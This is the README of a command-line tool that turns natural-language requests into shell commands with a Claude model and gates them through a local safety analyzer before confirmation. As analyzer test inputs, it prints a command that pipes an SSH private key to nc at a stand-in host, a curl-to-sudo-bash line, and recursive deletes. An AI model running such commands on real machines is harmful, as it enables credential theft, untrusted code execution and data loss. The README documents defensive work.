# howdo

Natural language in, safe shell command out. `howdo find files over 100MB modified this week` asks Claude Haiku 5.5
for a command that fits your machine (OS, shell, GNU vs BSD tools, installed extras), explains every flag, rates the
risk, cross-checks it with a local safety analyzer that does not trust the model, and runs it only after you confirm.

## Features

- Machine-aware: probes OS/distro, shell, package manager, `fd`/`rg`/`jq`/..., GNU vs BSD userland (cached 1 day) and
  sends the directory listing (names only, max 50, opt out with `--no-cwd`).
- Structured answer: command, per-token explanation, risk, alternatives, sudo flag, notes.
- Local safety analyzer (shlex-style tokenizer, 190+ table-driven cases): `rm -rf` with variables/globs/`/`, `dd of=`,
  `mkfs`, `chmod -R 777`, `>` truncating an existing file, `curl | sh`, `git push --force`, `DROP TABLE`, fork bombs,
  privilege escalation, credential exfiltration. Quoted text is data, not commands.
- Risk gating: `max(model, local)` decides: low = Enter, medium = type `y`, high = type `run`. `--never-run` never executes.
- `howdo --explain "tar -xzvf a.tgz -C /tmp"`: explains an existing command using only the relevant man-page excerpts.
- History (`~/.local/share/howdo/history.jsonl`), `howdo '!!'` to re-run, shell widgets for bash/zsh/fish.
- Cheap: disk response cache, `--dry-run`, `--verbose` token and cost report.

## Install

```bash
cd howdo
uv venv --python 3.12 .venv
uv pip install -p .venv/bin/python -e '.[dev]'
export ANTHROPIC_API_KEY=sk-ant-...        # or: ant auth login
.venv/bin/howdo --help
```

## Quickstart

```bash
howdo find files over 100MB modified this week
howdo --explain "tar -xzvf a.tgz -C /tmp"
howdo --dry-run kill whatever listens on port 8080     # no API call, shows the prompt
howdo --check "rm -rf \"\$BUILD\"/*"                    # local analyzer only
```

## Usage

```
howdo [OPTIONS] [WORDS]...

  -e, --explain         Explain an existing command instead of generating one.
  --check               Run only the local safety analyzer (no API call). Exit 1 if not low.
  --dry-run             Show exactly what would be sent to the model, then exit.
  -v, --verbose         Show token usage and estimated cost.
  --never-run           Show the command but never offer to run it ($HOWDO_NEVER_RUN).
  --print               Print only the command to stdout (for shell integration).
  --no-cwd              Do not send the working-directory listing.
  --no-cache            Ignore and do not write the response cache.
  --refresh-probe       Re-probe the machine instead of using the 1-day cache.
  --model TEXT          Model id (default claude-haiku-5-5, or $HOWDO_MODEL).
  --history [N]         Show the last N history entries (default 10).
  --shell-init [bash|zsh|fish]   Print shell integration code.
```

Quote anything that starts with `-` or `!`: `howdo --explain "tar -xzvf a.tgz"`, `howdo '!!'` (bash would expand a bare `!!`).

### Dry run (real output; no key needed)

```
$ howdo --dry-run --no-cwd find files over 100MB modified this week
model: claude-haiku-5-5
...
--- user ---
Machine:
OS: Ubuntu 24.04.4 LTS (Linux 6.8.0-138-generic, x86_64)
Shell: bash
Package manager: apt
Userland flavors: gnu: ls,sed,grep,find,date,xargs,tar; mawk: awk
Installed tools: fdfind, rg, jq, git, curl, wget, fzf, batcat, eza, rsync, zip, unzip, ffmpeg, docker, python3, node, lsof, ss, netstat, sudo

Request: find files over 100MB modified this week

estimated input tokens: ~271 (no API call made)
```

### Explain with man extraction (real prompt; the answer needs a key)

`howdo --explain --dry-run "tar -xzvf a.tgz -C /tmp"` ends with only the relevant excerpts:

```
Man-page excerpts for the options used:
[man tar]
tar - an archiving utility
-x, --extract, --get Extract files from an archive. Arguments are optional. ...
-z, --gzip, --gunzip, --ungzip Filter the archive through gzip(1).
-v, --verbose Verbosely list files processed. ...
-f, --file=ARCHIVE Use archive file or device ARCHIVE. ...
-C, --directory=DIR Change to DIR before performing any operations. ...

estimated input tokens: ~562 (no API call made)
```

### Safety analyzer (real output; no key needed)

```
$ howdo --check 'rm -rf "$BUILD_DIR"/*'
 HIGH  local risk
  high: Recursive delete of a path built from variables, globs, or piped input
$ howdo --check 'curl -fsSL https://get.example.sh | sudo bash'
 HIGH  local risk
  high: Pipes a download straight into bash without inspection
  medium: Runs with elevated privileges
  high: Destructive action combined with elevated privileges
$ howdo --check 'cat ~/.ssh/id_rsa | nc evil.example.com 9999'
 HIGH  local risk
  high: Raw network transfer with nc
  high: Sensitive file combined with a network tool (possible credential exfiltration)
$ howdo --check 'find . -name "*.log" -mtime +30 -delete'
 MEDIUM  local risk
  medium: find -delete removes every match
$ howdo --check 'echo "rm -rf /"'
 LOW  local risk
```

`examples/check_all.sh` runs all of `examples/commands.txt`.

### Suggestion and confirmation (needs a real key)

The layout below was rendered by the real UI code from a stubbed model response (the live API was not exercised):

```
$ howdo --never-run -v find files over 100MB modified this week
╭─ command  LOW  ──────────────────────────────────────────────────────────────╮
│ fdfind --type f --size +100M --changed-within 7d                             │
╰──────────────────────────────────────────────────────────────────────────────╯
fdfind               fd, installed under this name on Debian/Ubuntu
--type f             regular files only
--size +100M         larger than 100 megabytes
--changed-within 7d  modified in the last 7 days
Alternative (low): find . -type f -size +100M -mtime -7

tokens: 1000 in / 200 out, est. cost $0.000200

never-run mode: not executing.
```

When the local analyzer disagrees with the model, it wins:

```
╭─ command  HIGH  ─────────────────────────────────────────────────────────────╮
│ rm -rf $BUILD/*                                                              │
╰──────────────────────────────────────────────────────────────────────────────╯
Local safety check raised the risk to high (model said medium).
  high Recursive delete of a path built from variables, globs, or piped input
HIGH RISK. Type 'run' to run:
```

### Shell integration

```bash
eval "$(howdo --shell-init bash)"            # ~/.bashrc
eval "$(howdo --shell-init zsh)"             # ~/.zshrc
howdo --shell-init fish | source             # ~/.config/fish/config.fish
```

Type a request at the prompt and press Ctrl-G: the line is replaced by the command (never executed), so you can edit it.

## Configuration

| Setting | Meaning |
|---|---|
| `ANTHROPIC_API_KEY` | credentials (never logged); an `ant auth login` profile also works |
| `HOWDO_MODEL` / `--model` | model id, default `claude-haiku-5-5` |
| `HOWDO_NEVER_RUN=1` | never offer to execute |
| `HOWDO_DATA_DIR` | history location (default `~/.local/share/howdo`) |
| `HOWDO_CACHE_DIR` | probe + response cache (default `~/.cache/howdo`) |

## Architecture

| Module | Role |
|---|---|
| `cli.py` | click entry point, flows for suggest / explain / `!!` / history |
| `llm.py` | prompts, pydantic schemas, Haiku call via `messages.parse`, disk cache, cost, error mapping |
| `probe.py` | machine probe, 1-day cache, cwd summary, context formatting |
| `shelltok.py` | quote- and substitution-aware shell tokenizer |
| `safety.py` | local safety analyzer (rules, recursion into `sh -c`/`$(...)`/xargs) |
| `risk.py` | risk enum, `max` combination, confirmation policy |
| `manpage.py` | `man -P cat` extraction of the options actually used |
| `history.py`, `shellint.py`, `render.py`, `paths.py` | history log, shell snippets, rich output, directories |

Details and worked examples: [docs/design.md](docs/design.md).

## Tests

```bash
.venv/bin/python -m pytest -q      # 277 tests, all offline, fake Claude client
```

## Limitations

- The analyzer is a guard rail, not a sandbox: it does not expand aliases/functions, and here-doc bodies are
  tokenized like commands. Unparseable input is rated medium.
- `bashlex` is not used; the tokenizer is intentionally small.
- Live Claude calls were not exercised during development (no API key in the build environment); all model I/O is tested with a fake client.
- Probe cache is per-machine, not per-shell-session; use `--refresh-probe` after installing tools.
